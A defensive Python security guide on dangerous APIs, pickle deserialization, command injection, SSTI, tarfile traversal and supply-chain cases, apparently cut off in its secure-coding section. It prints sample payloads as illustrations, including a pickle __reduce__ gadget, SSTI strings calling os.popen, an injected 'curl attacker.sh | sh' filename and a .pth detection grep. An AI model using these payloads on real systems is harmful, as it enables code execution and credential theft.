Comprehensive Python Security Guide#
A practitioner’s defensive reference for securing Python applications — dangerous APIs, deserialization pitfalls, framework-specific risks, supply chain attacks, LLM-era CVEs, static analysis tooling, and hardening patterns. Compiled from 81 research sources.
Table of Contents#
- Fundamentals
- Dangerous Built-in APIs
- Insecure Deserialization
- Command & Code Injection
- SSRF & URL Parsing in Python
- Path Traversal, Tarfile, Zipfile
- Cryptography & Randomness
- Flask Security
- Django Security
- FastAPI & Other Frameworks
- Jinja2 & Server-Side Template Injection
- Package Supply Chain Attacks
- LLM / AI Framework CVEs
- ML Model Deserialization Attacks
- Notable Python CVEs (Stdlib)
- Static Analysis & SAST
- Secure Coding Patterns
- Hardening Checklist
- Tool Reference
- Detection Quick Reference
1. Fundamentals#
Python’s dynamism is both its selling point and its largest security footgun. Classes can be instantiated from strings, modules can be imported at runtime, objects can rewrite their own deserialization hooks, and the default serializer is Turing-complete. A defender cannot rely on the language to fail safe — every dangerous capability is a first-class primitive.
The Python attack surface stack:
| Layer | Typical bugs |
|---|---|
| Language primitives | eval, exec, compile, __reduce__, __import__, f-string format injection |
| Stdlib | pickle, tarfile, zipfile, subprocess, urllib.parse, xml.etree, plistlib |
| Third-party libs | PyYAML load(), Jinja2 SSTI, requests proxy/SSL flaws, urllib3 CRLF |
| Frameworks | Flask debug PIN, Django PickleSerializer, FastAPI Pydantic misuse, SSTI in Jinja templates |
| AI/ML stack | PyTorch torch.load, Hydra instantiate(), PickleScan bypasses, LangChain/LiteLLM/Langflow RCE |
| Supply chain | PyPI typosquatting, compromised maintainer accounts, .pth startup hooks, poisoned CI/CD |
Three classes of Python-specific RCE:
| Class | Trigger | Example |
|---|---|---|
| Eval-class | User input reaches eval/exec/compile | Langflow /api/v1/validate/code decorator parsing |
| Deserialization-class | Untrusted bytes reach pickle.loads/yaml.load/torch.load | __reduce__ gadget running os.system |
| Supply-chain-class | Malicious code installed via package manager | litellm 1.82.7/1.82.8, chimera-sandbox-extensions, telnyx 4.87.1/4.87.2 |
Impact spectrum: Information disclosure → File read/write → Credential theft → Remote code execution → Cloud account takeover → Full host/CI/CD compromise.
2. Dangerous Built-in APIs#
The following built-ins should be treated as unsafe sinks wherever they meet untrusted data. Bandit, Semgrep, CodeQL, and every commercial SAST ships rules for all of them. They are not bugs in Python — they are features explicitly documented as unsafe — but their one-liner ergonomics make them attractive shortcuts that age into long-lived vulnerabilities.
eval / exec / compile#
eval(s) parses and evaluates a Python expression. exec(s) runs a statement or module. compile(s, ...) turns source into a code object that can later be handed to exec. All three will happily execute anything reachable through builtins:
__import__('os').system('id')
(lambda: __import__('subprocess').check_output(['id']))()
Even “restricted” eval patterns (empty globals, {'__builtins__': None}) are routinely bypassed through attribute chains on literal types ((42).__class__.__mro__[-1].__subclasses__()) or comprehension scope tricks.
Mitigations:
- For arithmetic: use
ast.literal_eval(only literals — no calls). - For expression languages: use
simpleevalor a purpose-built parser. - For dispatch: lookup in a dict, never build a string and eval it.
- For config: JSON, TOML, or
safe_loadYAML — neverexec(config_string).
Real-world example: Langflow CVE-2025-3248 / CVE-2026-33017. Langflow accepted user-submitted Python code through /api/v1/validate/code (and later /api/v1/build_public_tmp/{flow_id}/flow) and passed it through ast.parse(), compile(), and exec(). Because Python evaluates decorators at parse time, an attacker embedded the payload inside a @decorator expression — execution occurred before any function body ran, bypassing validation that looked only at function contents. Added to CISA KEV within days of disclosure.
ast.literal_eval#
Safe for JSON-like literals but still susceptible to DoS — it can be pushed into memory/CPU exhaustion with deeply nested or oversized literals. In ml-flextok (Apple/EPFL), ast.literal_eval was used to decode model metadata; the library was later rewritten to use YAML with an allow list.
__import__ / importlib#
__import__(attacker_string) or importlib.import_module(attacker_string) loads and executes arbitrary module code as a side effect of import. Any caller doing importlib.import_module(request.args['module']) is trivially RCE.
Format string injection (f-string & str.format)#
'{0.__init__.__globals__[os].system}'.format(obj)
str.format exposes arbitrary attribute traversal when format spec comes from user input. Treat user-controlled format strings as code.
pty / os.exec* / os.spawn*#
Direct process execution. Always prefer subprocess with argument lists.
input() in Python 2#
Worth mentioning only to bury: Python 2’s input() was eval(raw_input()). Every Python 2 codebase still in production is a latent RCE if any input() remained.
pickle, marshal, shelve (covered in §3)#
Listed here as built-ins for completeness — all three execute code on load. marshal is undocumented between Python versions and should never be used on external data even if it weren’t unsafe.
Reflection primitives#
getattr, setattr, hasattr, vars, globals, locals, __import__ become dangerous when the attribute name comes from untrusted input. Patterns like getattr(module, request.args['method'])() are common in “generic” dispatchers and are the same RCE as eval with extra steps. Use an explicit allow list dict.
3. Insecure Deserialization#
The highest-severity class of Python vulnerability. The official pickle docs carry the warning verbatim: “The pickle module is not secure. Only unpickle data you trust.”
Why pickle is dangerous#
Pickle is a stack-based VM. Any object can customize its own reconstruction via __reduce__, which returns a (callable, args) tuple that pickle will execute during load. The canonical attacker payload looks like this (analyzed, not augmented):
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
pickle.dumps(Exploit()) produces a few dozen bytes that, when unpickled anywhere, run os.system("id"). The Semgrep walkthrough demonstrates the full flow: Flask endpoint → request.data → pickle.load(io.BytesIO(raw_data)) → code execution.
Sink inventory#
| Library | Dangerous call | Notes |
|---|---|---|
pickle | load, loads, Unpickler.load | Core primitive |
_pickle / cPickle | same | C implementation, identical behavior |
dill | load, loads | Serializes more object types than pickle |
shelve | open, Shelf[...] | Thin wrapper over pickle on disk |
jsonpickle | decode | Uses JSON transport but still reconstructs arbitrary Python objects |
PyYAML | yaml.load() (unsafe loader) | Fixed to default safe in 5.1+ (CVE-2017-18342) |
NumPy | numpy.load(..., allow_pickle=True) | Default changed to False, but legacy code |
PyTorch | torch.load(...) without weights_only=True | Loads pickled module state |
scikit-learn | joblib.load, pickle.load | Model persistence |
pandas | pandas.read_pickle | Same pickle VM |
PLY (ply.yacc) | yacc(picklefile=...) | CVE-2025-56005 — undocumented parameter in PyPI 3.11 silently passes attacker-controlled path to pickle.load |
Bypasses against pickle scanners#
Scanners like picklescan try to block known-dangerous callables with a blacklist. Three 2025 advisories show the approach is brittle:
- CVE-2025-1716 — Using
pip.mainas the__reduce__callable evades blacklists becausepipis a legitimate import. The payload callspip install git+https://attacker/..., turning the pickle into a silent RCE. - CVE-2025-10155 — File extension trick. Renaming a
.pklto.binor.ptmakes PickleScan route the file to PyTorch-specific parsing, then mismatch and skip scanning — but PyTorch still loads it. - CVE-2025-10156 — CRC differential. PickleScan uses Python’s
zipfilewhich throws on CRC errors; PyTorch silently accepts them. Zeroing CRCs in a PyTorch archive hides the payload from the scanner. - CVE-2025-10157 — Subclass substitution. Instead of importing
os.systemdirectly, the payload uses a subclass inasynciointernals that resolves to the same callable, getting “Suspicious” instead of “Dangerous.”
Defense: Allow lists (not block lists), content-type inspection on actual bytes, and prefer safetensors for weights.
Safer alternatives#
| Need | Use |
|---|---|
| Data interchange | json (never executes code) |
| Config files | tomllib (3.11+), yaml.safe_load |
| Model weights | safetensors |
| Python object round-trip across trusted boundary | pickle with HMAC signature you control |
| Cross-language structured | Protocol Buffers, MessagePack |
Defensive pattern — signed pickle envelope#
When you genuinely need object round-trip and control both ends:
import hmac, hashlib, pickle
def sign(data: bytes, key: bytes) -> bytes:
return hmac.new(key, data, hashlib.sha256).digest() + data
def verify_and_load(blob: bytes, key: bytes):
tag, data = blob[:32], blob[32:]
if not hmac.compare_digest(tag, hmac.new(key, data, hashlib.sha256).digest()):
raise ValueError("tampered")
return pickle.loads(data) # safe because we verified origin
Even this must never be used with a key shared with attackers, and pickle.loads itself remains a liability if keys leak.
4. Command & Code Injection#
subprocess pitfalls#
# DANGEROUS — shell=True with interpolation
subprocess.run(f"convert {user_file} out.png", shell=True)
An attacker supplies a.png; curl attacker.sh | sh and both commands run. The safe form is an argument list with no shell:
subprocess.run(["convert", user_file, "out.png"], check=True)
Even with a list, watch for:
- Filename starts with
-— treated as a flag. Pass--or validate paths to start with./. shlex.split(user_input)— still interprets quoting; don’t let users choose the argv.subprocess.Popen(..., executable='/bin/sh')— overrides the “no shell” benefit of a list.
os.system, os.popen, commands.*#
All invoke a shell. Flag as unconditional Bandit B605/B607 hits.
Command injection via interpreters#
Any tool that wraps git, ffmpeg, convert, pandoc, tar, ssh, curl has an injection surface even with argv lists — if the argv itself flows from user input, an attacker can supply --upload-pack, -o ProxyCommand=..., --reference etc. Real MLflow RCEs stemmed from unsanitized input reaching os.system inside a predict function.
venv CLI — CVE-2024-9287#
CPython’s venv did not quote path names when writing activate scripts. If a virtualenv was created at an attacker-controlled path, activating it ran arbitrary shell commands. The lesson generalizes: any code generator that emits shell, SQL, or HTML must quote its output — it is not the consumer’s job to sanitize generated code.
shlex pitfalls#
shlex.split(user_input) parses POSIX shell syntax including quoting, so an attacker can pass "a b" "c d" to produce two tokens instead of four. Fine when you expect shell-style input; disastrous when you expected filenames.
subprocess environment and cwd#
subprocess.run(..., env=None) inherits the caller’s full environment. Leaking AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, etc. into a child that logs or transmits them is a common subtle exfiltration path. Pass an explicit env={...} with just what the child needs, and consider cwd= too — relative paths have burned many teams.
Command injection in template-based tools#
Tools like cookiecutter, jinja2-cli, or custom code generators that render shell scripts from user input inherit every injection flaw of the target shell. Treat rendered shell the same as rendered SQL: parameterize or escape, never concatenate.
5. SSRF & URL Parsing in Python#
Python shares the cross-language SSRF surface (see the SSRF guide) plus several language-specific bugs.
Sink functions#
requests.get/post/... — follows redirects by default
urllib.request.urlopen — supports file://, ftp:// by default on older builds
urllib3.PoolManager.request
httpx.get/AsyncClient
aiohttp.ClientSession.get
http.client.HTTPConnection
Python-specific bugs#
- CVE-2024-11168 —
urllib.parse.urlsplit/urlparseaccepted bracketed hosts that were not IPv6 or IPvFuture. Parser differential with other URL libraries allowed SSRF when one parser validated and another fetched. - CVE-2025-0938 — related square-bracket parsing bug; same differential class.
- CVE-2023-24329 —
urllib.parseallowed URLs starting with whitespace or control characters to bypass scheme blocklists. - CVE-2019-9740 & friends — urllib3 CRLF injection in HTTP headers when the URL or method contained newlines.
- CVE-2023-32681 —
requestsleakedProxy-Authorizationheaders across redirects. - CVE-2024-35195 —
requestsSessionsilently keptverify=Falsefor a host after a single unverified call.
Defensive hooks#
# Block private ranges before making the call
import ipaddress, socket
def is_public(host: str) -> bool:
for family, _, _, _, sockaddr in socket.getaddrinfo(host, None):
ip = ipaddress.ip_address(sockaddr[0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
return True
Always pair with a post-resolution check (Python resolves DNS separately from the HTTP call, so DNS rebinding is a real threat). Prefer a dedicated egress proxy that enforces the allow list outside the process.
6. Path Traversal, Tarfile, Zipfile#
tarfile — a 15-year saga#
CVE-2007-4559 — tarfile.extractall() did not validate member names, so entries like ../../../etc/passwd wrote outside the target. Unfixed for 15 years; in 2022 a rediscovery showed hundreds of thousands of repos still vulnerable.
Python 3.12 introduced extraction filters (filter="data", filter="tar"), but then came:
- CVE-2025-4517 (CVSS 9.4) — filter=
datastill allowed arbitrary filesystem writes outside the target directory. - CVE-2025-4138 / CVE-2025-4330 — symlink extraction bypassed the filter.
- CVE-2024-12718 — filter=
datastill let attackers modify metadata of files outside the directory. - CVE-2025-8194 — negative offset in tar header caused infinite loop DoS.
- CVE-2024-6232 — ReDoS in tar header parsing.
Safe pattern:
def safe_extract(tar, path: str):
base = os.path.realpath(path)
for m in tar.getmembers():
target = os.path.realpath(os.path.join(base, m.name))
if not target.startswith(base + os.sep):
raise RuntimeError(f"path traversal: {m.name}")
if m.issym() or m.islnk():
raise RuntimeError(f"link not allowed: {m.name}")
tar.extractall(path)
zipfile — CVE-2025-8291#
zipfile trusted the ZIP64 EOCD locator offset without validation, creating a parser differential with other ZIP implementations (interesting for bypassing scanners that use the “correct” parser). Fixed to validate offset alignment.
plistlib — CVE-2025-13837#
OOM DoS: the module read sizes from the file itself without a cap; a hostile plist could demand gigabytes.
xml.etree / lxml#
XXE and billion-laughs apply. defusedxml is the drop-in replacement for all stdlib XML parsers — covers xml.etree.ElementTree, xml.dom.minidom, xml.sax, and lxml.etree. Without it, any parser that resolves external entities can be turned into an SSRF + file read primitive.
pickle files masquerading as archives#
Attackers frequently ship malicious pickle inside a .zip, .tar, or .nemo wrapper. Extraction libraries may stream the inner pickle to pickle.load() or torch.load() without re-validating. Always inspect the inner bytes against your allow list after decompression, not before.
7. Cryptography & Randomness#
| Wrong | Right |
|---|---|
random.random() for tokens | secrets.token_urlsafe(32) |
hashlib.md5/sha1 for password hashing | argon2-cffi, bcrypt, hashlib.scrypt |
| DIY AES in ECB | cryptography.fernet.Fernet |
ssl.PROTOCOL_TLSv1 | ssl.create_default_context() |
verify=False on requests | CA bundle + cert pinning |
| Hand-rolled JWT | pyjwt with algorithms=["HS256"] explicit |
Constant-time comparison with == | hmac.compare_digest |
Django-specific good pattern — encrypting user-supplied API keys at rest with cryptography.Fernet, key from env via django-environ, never committed. Model helper methods wrap encrypt/decrypt so the raw ciphertext never leaks through the ORM.
Why random is dangerous for security#
random is a Mersenne Twister with 624-word internal state. Given ~624 consecutive outputs, the full state is recoverable — after that, every future output is predictable. Attackers have used this to forge session tokens, reset codes, and CSRF tokens. The fix is trivial: import secrets; secrets.token_urlsafe(32).
JWT pitfalls#
- Algorithm confusion — if your verifier accepts any algorithm in the token header, an attacker switches to
noneor re-signs a RS256 token as HS256 using the public key as the HMAC secret. - Key rotation — put
kidin the header and bind eachkidto an allowed algorithm. - Expiration — always validate
exp; most libraries require you to opt in. - Audience/issuer — validate
audandiss, otherwise tokens from one service can be replayed against another.
Password hashing#
Do not use hashlib.sha256 with or without salt. Use Argon2id (argon2-cffi) with memory cost tuned to your hardware, or bcrypt with a work factor ≥ 12. Hash length and verification timing must be constant; hmac.compare_digest is the primitive.
8. Flask Security#
Debug mode & the Werkzeug PIN#
app.run(debug=True) in production is a pre-auth RCE. The Werkzeug debugger’s PIN is derived from predictable machine info (/etc/machine-id, username, uid, mac, path to app.py). With a /proc read or local file read bug, an attacker computes the PIN and gets an interactive shell at /console.
Never ship debug=True. Pin via FLASK_DEBUG=0 and Werkzeug env var checks in production entrypoints.
Common Flask sinks#
# SSTI
return render_template_string("Hello " + request.args["name"])
# pickle session
session.interface = PickleSessionInterface() # don't
# open redirect
return redirect(request.args["next"])
# pickle in endpoint
return pickle.loads(request.data) # Semgrep will scream
Secure cookie setup#
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE="Lax",
PERMANENT_SESSION_LIFETIME=timedelta(hours=2),
)
Always rotate SECRET_KEY and store in a secret manager — a leaked Flask SECRET_KEY lets attackers mint signed session cookies.
9. Django Security#
Django’s built-in defenses are strong when left on. The bugs come from turning them off.
Bugs by disabling defaults#
| Setting | Risk when changed |
|---|---|
DEBUG = True | Full traceback + settings exposure via 500 page |
ALLOWED_HOSTS = ["*"] | Host header poisoning, password-reset link spoofing |
Turning off CsrfViewMiddleware | CSRF on every POST |
SECURE_SSL_REDIRECT = False | Downgrade + cookie theft |
X_FRAME_OPTIONS = "ALLOW" | Clickjacking |
Custom PickleSerializer (deprecated 4.1+) | RCE via cookie forgery if SECRET_KEY leaks |
password_validators = [] | Weak-password acceptance |
ORM injection#
Safe: User.objects.filter(email=user_input). Unsafe: .extra(where=[f"email = '{user_input}'"]) and .raw(f"... {user_input}"). extra() is effectively a footgun; RawSQL at least forces params.
Template auto-escape#
{{ var }} is auto-escaped. {{ var|safe }} and mark_safe() switch it off — every use is a code review red flag. {% autoescape off %} blocks disable escaping wholesale.
Secrets & keys#
Never commit SECRET_KEY. Store encryption keys in env / secret manager. The photondesigner walkthrough pattern: Fernet.generate_key(), save in .env, gitignore the .env, encrypt user API keys on save, decrypt on use.
PyGoat labs — OWASP Top 10 in Django#
A useful hands-on range covering broken access control, insecure deserialization (YAML load on uploaded file), XSS via URL param into anchor, lack of rate limiting on OTP, SSRF via avatar fetch, and OAuth misconfigurations.
Django admin hardening#
- Change the default
/admin/URL prefix. - Require MFA for staff accounts (
django-otp,django-mfa2). - Log admin actions to a tamper-resistant sink.
- Keep
DJANGO_ADMIN_SESSION_COOKIE_AGEshort. - Never expose admin to the public internet without an auth proxy.
- Set
SILENCED_SYSTEM_CHECKS = []— don’t silence security warnings.
Signed cookies and SECRET_KEY#
Django’s session, CSRF, password-reset, and signed-cookie framework all derive from SECRET_KEY. A leaked key lets an attacker forge any signed artifact, including admin session cookies. Rotate on leak, never bake into Docker images, store in a secret manager.
File upload hardening#
- Validate extensions and content type and magic bytes.
- Store uploaded files outside the webroot or behind a signed-URL proxy.
- Never trust
Content-Typefrom the client. - For image uploads, re-encode via Pillow to strip EXIF and malformed headers.
- Apply antivirus scanning (ClamAV) for any publicly accessible upload.
10. FastAPI & Other Frameworks#
FastAPI’s Pydantic validation eliminates a large class of type-confusion bugs but does not protect against:
- Mass assignment when you pass
**model.dict()straight into an ORM create. - Response model leakage — forgetting
response_model=means the raw DB object (including password hashes) is serialized. - JWT “none” algorithm — always pin
algorithms=[...]on decode. - Background tasks running user input through
subprocess. - WebSocket endpoints without origin check — vulnerable to cross-site WebSocket hijacking.
Pyramid / Tornado / Bottle carry the same injection and deserialization risks. Tornado’s autoreload debug mode is as dangerous as Flask’s debugger.
FastAPI-specific patterns#
from fastapi import FastAPI, Depends
from pydantic import BaseModel, ConfigDict
class UserIn(BaseModel):
model_config = ConfigDict(extra="forbid") # reject unknown fields
email: str
password: str
class UserOut(BaseModel):
id: int
email: str # no password, no hash
app = FastAPI()
@app.post("/users", response_model=UserOut)
async def create(user: UserIn):
...
Key points: strict Pydantic models in both directions, response_model to avoid leaking internal fields, dependency injection for auth (Depends(get_current_user)), and never trust model.dict() to be safe for SQL construction.
WebSockets#
Origin header is the only cross-site defense for WebSockets. FastAPI / Starlette / aiohttp WebSocket endpoints must validate websocket.headers.get("origin") against an allow list — otherwise cross-site WebSocket hijacking reads authenticated sessions.
GraphQL (Strawberry / Ariadne / Graphene)#
- Disable introspection in production.
- Enforce query depth and complexity limits (billions-of-fields DoS).
- Apply per-field authorization, not just per-endpoint.
- Batch queries are a rate-limit bypass vector — count fields, not requests.
11. Jinja2 & Server-Side Template Injection#
Jinja2 SSTI is the Python equivalent of Flask/Django SSTI. The sandbox exists but has a rich history of bypasses via attribute walks:
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
Rules:
- Never
render_template_string(user_input)— templates are code. - Never mix user data into the template source; pass it as a context variable.
SandboxedEnvironmentraises the bar but cannot be assumed unbreakable.- Disable
autoescape=Falsein HTML contexts. - Don’t expose
request,self, or debug helpers into the template context — any walkable attribute graph is an SSTI escape hatch. - For user-writable templates (CMS, email templates), use a strictly limited mini-language like Liquid or Mustache, never Jinja2.
Quick SSTI probe set (defensive — know what the scanner is looking for):
{{7*7}} -> 49 confirms eval
{{config}} -> Flask config dump
{{request.__class__.__mro__}}
{{lipsum.__globals__}}
{{cycler.__init__.__globals__.os}}
If any of these render as more than literal text, you have SSTI.
12. Package Supply Chain Attacks#
2024-2026 saw Python supply chain attacks shift from opportunistic typosquatting to targeted compromises of high-value packages via CI/CD poisoning.
Attack patterns#
| Pattern | Example | Mechanism |
|---|---|---|
| Typosquatting | reqeusts, python-dateutil lookalikes | Name similar to popular package; runs on pip install via setup.py |
| Dependency confusion | Internal package name registered on public PyPI | pip prefers higher version, pulls attacker’s package |
| Maintainer account takeover | ctx, PyTorch-nightly 2022 | Stolen credentials → malicious release |
| CI/CD compromise | litellm 1.82.7/1.82.8 (March 2026) | Poisoned Trivy GitHub Action → stolen PYPI_PUBLISH token → legitimate package release with embedded payload |
| Multi-stage downloader | chimera-sandbox-extensions | Benign package pulls second-stage from attacker domain |
| Audio file stego | telnyx 4.87.1/4.87.2 | Payload hidden in .wav audio frames, exfil to 83.142.209.203:8080 |
| Scanner poisoning | PickleScan CVE-2025-10155/10156/10157 | Break the defender, not the target |
| AI hallucination (“slopsquatting”) | LLMs suggest nonexistent packages; attackers register them | Developer trusts LLM output |
LiteLLM case study (defensive analysis)#
On March 24, 2026, litellm versions 1.82.7 and 1.82.8 were published with embedded credential-harvesting malware. Attack chain (from Snyk’s writeup):
- Upstream: Attackers poisoned the
trivy-actionGitHub Action earlier in March; LiteLLM’s CI pulled Trivy from apt without pinning. - Credential theft: Compromised Trivy exfiltrated
PYPI_PUBLISHtoken from GitHub Actions runner. - Publication: Attackers pushed two malicious versions using legitimate credentials. Hash verification passed because the
RECORDfile was correctly generated — nothing to mismatch. - Delivery:
- 1.82.7 embedded base64 payload in
litellm/proxy/proxy_server.py— triggered on import. - 1.82.8 added
litellm_init.pthtosite-packages/..pthfiles execute at every Python interpreter startup — including duringpip installitself. Maps to MITRE ATT&CK T1546.018.
- 1.82.7 embedded base64 payload in
- Payload stages: Collected SSH keys,
.env, cloud creds (AWS/GCP/Azure), Docker/K8s configs, crypto wallets; AES-256-CBC encrypted; exfil tomodels.litellm.cloud(registered one day earlier). Installed systemd user servicesysmon.servicefor persistence; attempted Kubernetes lateral movement by deploying privileged pods to every node inkube-system. - Discovery suppression: 88 bot comments from 73 compromised dev accounts buried the GitHub disclosure issue in 102 seconds.
Defensive takeaways:
- Pin every CI/CD tool version including GitHub Actions (use SHA, not tag).
- Publish with trusted publishers / OIDC — short-lived tokens, not long-lived
PYPI_PUBLISHsecrets. - Audit
.pthfiles on every install:find site-packages -name '*.pth' -exec grep -l 'subprocess\|base64\|exec' {} \; - Use install-time scanning (Snyk, Aikido SafeChain, Phylum) that inspects package behavior, not just hashes.
- Treat AI developer tools (LangChain, LiteLLM, Gradio, Jupyter extensions) as elevated-access targets — they handle the richest credential sets on a dev machine.
Defensive checklist for package installation#
pip install --require-hashes --no-deps -r requirements.txt
- Mirror approved deps to an internal index (Artifactory, Nexus, devpi, pip-audit allow list).
- Use lockfiles (
uv lock,pip-compile,poetry.lock) with full hashes. - Disable source distribution fallback where possible (
--only-binary=:all:) to avoidsetup.pyexecution. - Run
pip-auditorsafetyin CI. - Quarantine new packages (cool-off period, e.g., reject packages < 7 days old).
- Monitor for packages that suddenly introduce network calls, post-install scripts, or
.pthfiles.
13. LLM / AI Framework CVEs#
The LLM framework ecosystem is young, broad, and moves faster than its security review. The following are recurring patterns:
| Framework | CVE / advisory | Pattern |
|---|---|---|
| Langflow | CVE-2025-3248, CVE-2026-33017 | ast.parse → compile → exec on user input; decorator evaluation beats validation |
| LangChain | Multiple (CVE-2023-36258 etc) | PALChain/LLMMathChain passing LLM output to exec/eval |
| LiteLLM | Supply chain (see §12) | CI/CD compromise, .pth startup hook |
| SGLang | CVE-2025-10164 | Unsafe deserialization in model weights update endpoint |
| Langflow-adjacent | Various | Jinja2 SSTI in prompt templates fed user input |
| Gradio | Multiple | Path traversal on /file=, SSRF on proxy endpoints |
| Streamlit | Issue #… | st.components.v1.html → XSS; arbitrary file read via st.file_uploader gone wrong |
| Jupyter | Classic | Notebook server token leakage; remote kernel exec |
| PickleScan | CVE-2025-1716, CVE-2025-10155/6/7 | Scanner bypasses |
| LangChain PALChain | Historical | Prompt injection → generated Python → exec → RCE |
Root cause common to all: treating LLM output as data when it is often parsed as code. The mitigation is architectural: run untrusted-origin code in a sandbox (firejail, gVisor, separate process with seccomp), allow list imports, and never let an agent loop dispatch arbitrary Python.
14. ML Model Deserialization Attacks#
Pickle-based formats (.pkl, .joblib, .pt, .pth, .bin, .nemo) execute code when loaded. Even “safe” formats like safetensors only cover weights — the surrounding metadata loaders are often just as dangerous.
Hydra instantiate() — Unit 42 findings#
Palo Alto Networks identified RCEs in three AI libraries (NVIDIA NeMo CVE-2025-23304, Salesforce Uni2TS CVE-2026-22584, Apple ml-flextok) all caused by hydra.utils.instantiate() reading _target_ from model metadata and calling it with attacker arguments. Because _target_ takes any callable name, payloads like builtins.exec or os.system work out of the box. A block list added later is trivially bypassed via implicit imports (enum.bltns.eval, nemo.core.classes.common.os.system).
Root cause: dynamic dispatch by string from untrusted metadata. Fix: strict allow list of resolved target classes (NeMo’s safe_instantiate checks class ancestry and module prefix).
torch.load#
Default since PyTorch 2.6 is weights_only=True. Pre-2.6 code, and any explicit weights_only=False, loads a pickle stream. add_safe_globals([...]) lets you allow list specific classes; use it.
Safer model formats#
| Format | Executes code? |
|---|---|
safetensors | No (weights only) |
| ONNX | Not directly (but custom op loaders can be abused) |
| GGUF | No for weights; tokenizer/metadata loaders vary |
| pickle / joblib / cloudpickle | Yes — always |
.nemo, .qnemo (TAR + YAML + pickle) | Yes via Hydra and embedded pickle |
Defensive pattern for model loading#
- Pin the model source (Hugging Face repo + revision hash).
- Download with
huggingface_hubusingrevision=<commit_sha>. - Verify SHA-256 of the file against a known-good manifest.
- Load with the most restrictive mode (
weights_only=True). - Run inference in a sandboxed process (
seccomp,firejail, container with read-only FS). - Never load models from end-user uploads on a shared host.
15. Notable Python CVEs (Stdlib)#
A sampling of recent CPython stdlib CVEs — useful for version-pinning decisions and SAST authoring:
| CVE | Module | Class | Fixed |
|---|---|---|---|
| CVE-2025-12084 | xml.dom.minidom | Quadratic complexity DoS on appendChild | Pending |
| CVE-2025-13837 | plistlib | OOM DoS via attacker-specified sizes | Pending |
| CVE-2025-8291 | zipfile | ZIP64 EOCD offset validation | 3.12+ |
| CVE-2025-8194 | tarfile | Infinite loop via negative offset | 3.13+ |
| CVE-2025-4517 | tarfile | Arbitrary FS write with filter='data' (Critical 9.4) | 3.13+ |
| CVE-2025-4138 | tarfile | Filter bypass for symlink extraction | 3.14+ |
| CVE-2025-4330 | tarfile | Second filter bypass | 3.14+ |
| CVE-2024-12718 | tarfile | Metadata modification outside dir | 3.13+ |
| CVE-2024-6232 | tarfile | ReDoS in header parsing | 3.13+ |
| CVE-2024-3220 | mimetypes | Windows writable default paths → startup OOM | 3.13+ |
| CVE-2024-3219 | socket | Race in socketpair fallback on Windows | 3.13+ |
| CVE-2024-7592 | http.cookies | Quadratic complexity in backslash parsing | 3.13+ |
| CVE-2024-12254 | asyncio | Memory exhaustion in _SelectorSocketTransport.writelines() | 3.13+ |
| CVE-2025-0938 / CVE-2024-11168 | urllib.parse | Invalid bracketed host parsing — SSRF differential | 3.13+ |
| CVE-2024-9287 | venv | Command injection via unquoted activate paths | 3.13+ |
| CVE-2023-24329 | urllib.parse | Leading-whitespace bypass of scheme filters | 3.12+ |
Operational rule: track Python EOL dates. As of 2026, 3.8 and 3.9 are EOL; 3.11 goes EOL October 2027. Running EOL Python in production means unpatched CVEs forever.
16. Static Analysis & SAST#
Bandit#
PyCQA’s Python-only SAST. Fast, pattern-based, low setup cost. Core checks:
| ID | Issue |
|---|---|
| B101 | assert used (stripped under -O) |
| B102 | exec used |
| B103 | os.chmod with world-writable |
| B105/B106/B107 | Hardcoded password in string/funcarg/default |
| B108 | Hardcoded tmp directory |
| B201 | Flask debug=True |
| B301 | pickle.loads/load |
| B302 | marshal.loads |
| B303/B304 | MD5 / insecure cipher |
| B305 | Insecure cipher mode |
| B306 | mktemp_q |
| B307 | eval |
| B308 | mark_safe in Django |
| B310 | urllib.urlopen on user input |
| B312 | Telnet usage |
| B320 | lxml parser flags |
| B321 | FTP TLS |
| B322 | Python 2 input |
| B324 | Insecure hash for cert |
| B325 | os.tempnam |
| B401-B413 | Import of insecure module (telnetlib, ftplib, xmlrpclib, pycrypto, paramiko keys, etc.) |
| B501 | requests with verify=False |
| B502-B504 | SSL/TLS downgrades |
| B505 | Weak cryptographic key size |
| B506 | YAML load |
| B507 | SSH host key policy AutoAdd |
| B601-B612 | Shell injection family (paramiko, subprocess, os.system) |
| B701 | jinja2.Environment(autoescape=False) |
| B702 | mako autoescape off |
| B703 | Django mark_safe |
Run:
bandit -r ./src -ll -f json -o bandit-report.json
Integrate as pre-commit hook and fail CI on Medium+ severity findings.
Semgrep#
Pattern-based with taint tracking. Python ruleset covers:
- Flask/Django/FastAPI source-to-sink flows.
- Insecure deserialization from HTTP request to
pickle.loads(tracks over a dozen libraries includingdill,jsonpickle,shelve,yaml.load,numpy.load,torch.load). - SSRF (request →
requests.get). - SQL injection (request → raw cursor).
- Hardcoded secrets via entropy rules.
- SSTI (request →
render_template_string).
Custom rules in YAML; the p/python, p/django, p/flask, p/fastapi, p/owasp-top-ten community rulesets give strong baseline coverage.
CodeQL#
Full dataflow/taint analysis. Strong for Python custom queries:
- Model sources (HTTP request attributes across frameworks).
- Define sinks (pickle.load, yaml.load, eval, subprocess.run with shell).
- Taint propagation through transformations (
base64.b64decode,json.loads,.format).
Used by GitHub Advanced Security. Free for public repos.
Other tools worth knowing#
| Tool | Niche |
|---|---|
| Dlint | Flake8 plugin with security checks |
| Safety | Dependency CVE scanner (free tier limited) |
| pip-audit | Official PyPA vulnerability scanner |
| Snyk | SCA + SAST + malicious package detection |
| Aikido | SAST + secret scan + SCA + SafeChain (new-package cool-off) |
| Checkmarx / Veracode / Fortify | Enterprise SAST with Python support |
| DeepSource / SonarQube | Quality + security hybrid |
| detect-secrets | Git history secret scanning |
| gitleaks | Same, faster |
| Phylum | Supply chain behavioral analysis |
17. Secure Coding Patterns#
Input handling#
- Validate at the boundary with Pydantic /
attrs/marshmallow. - Reject unknown fields (
extra="forbid"in Pydantic). - Constrain strings (max length, charset regex).
- Canonicalize paths before use (
os.path.realpath, check prefix).
Subprocess#
- Always argv list, never
shell=Truewith interpolation. - Use
shlex.quoteonly as a last resort; prefer lists. - Explicit
check=True,timeout=...,capture_output=True. - Drop privileges with
preexec_fn=os.setuidwhen running as root.
File I/O#
tempfile.mkstempnotmktemp.- Open with
